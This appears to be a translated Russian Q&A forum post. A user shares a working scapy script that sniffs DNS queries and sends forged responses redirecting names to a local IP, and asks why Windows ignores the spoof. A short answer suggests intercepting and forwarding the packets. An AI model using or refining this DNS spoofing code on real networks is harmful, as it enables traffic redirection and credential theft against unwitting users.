Поддельный ответ DNS - PullRequest
       7

Поддельный ответ DNS

0 голосов
/ 12 ноября 2018

Я хотел создать поддельный DNS-ответ с помощью scapy, и он просто не работает ... Когда я вынюхиваю пакеты в Wireshark, он показывает мне, что пакеты верны, но Windows просто принимает подлинный ответный пакет, хотя ...Может кто-нибудь сказать мне, как это исправить, пожалуйста?Спасибо

import sys
i, o, e = sys.stdin, sys.stdout, sys.stderr
from scapy.all import *
sys.stdin, sys.stdout, sys.stderr = i, o, e
def f(packet):
    if DNS in packet and DNSQR in packet :
        return True
    return False
while True:
    a=sniff(lfilter=f,count=1)
    ip = a[0].getlayer(IP)
    dns = a[0].getlayer(DNS)
    pkt = Ether(dst = a[0][Ether].src, src = a[0][Ether].dst)/IP(dst=ip.src, src=ip.dst)/UDP(chksum=None, dport=ip.sport,sport=ip.dport)/DNS(qd=a[0][DNS].qd, qdcount=1, ancount=0, nscount=0, arcount=1, ra = 1, qr = 1, id=dns.id, an = (DNSRR(rrname=dns.qd.qname, type= "A" , ttl=3600, rdata="192.168.1.12")))
    pkt.show()
    for i in range(10):
        sendp(pkt)

1 Ответ

0 голосов
/ 13 ноября 2018

Вы просто прослушиваете пакеты, если вы хотите манипулировать пакетами, вы должны отправить их в функцию, а затем переслать их в пункт назначения.используйте атрибут prn в Sniff:

packets = sniff(filter="port 53" , prn=func , count=1) 
def func(packet):
    if packet.haslayer(UDP) and packet.haslayer(DNS):
         manipulate your DNS packet here then forward it
...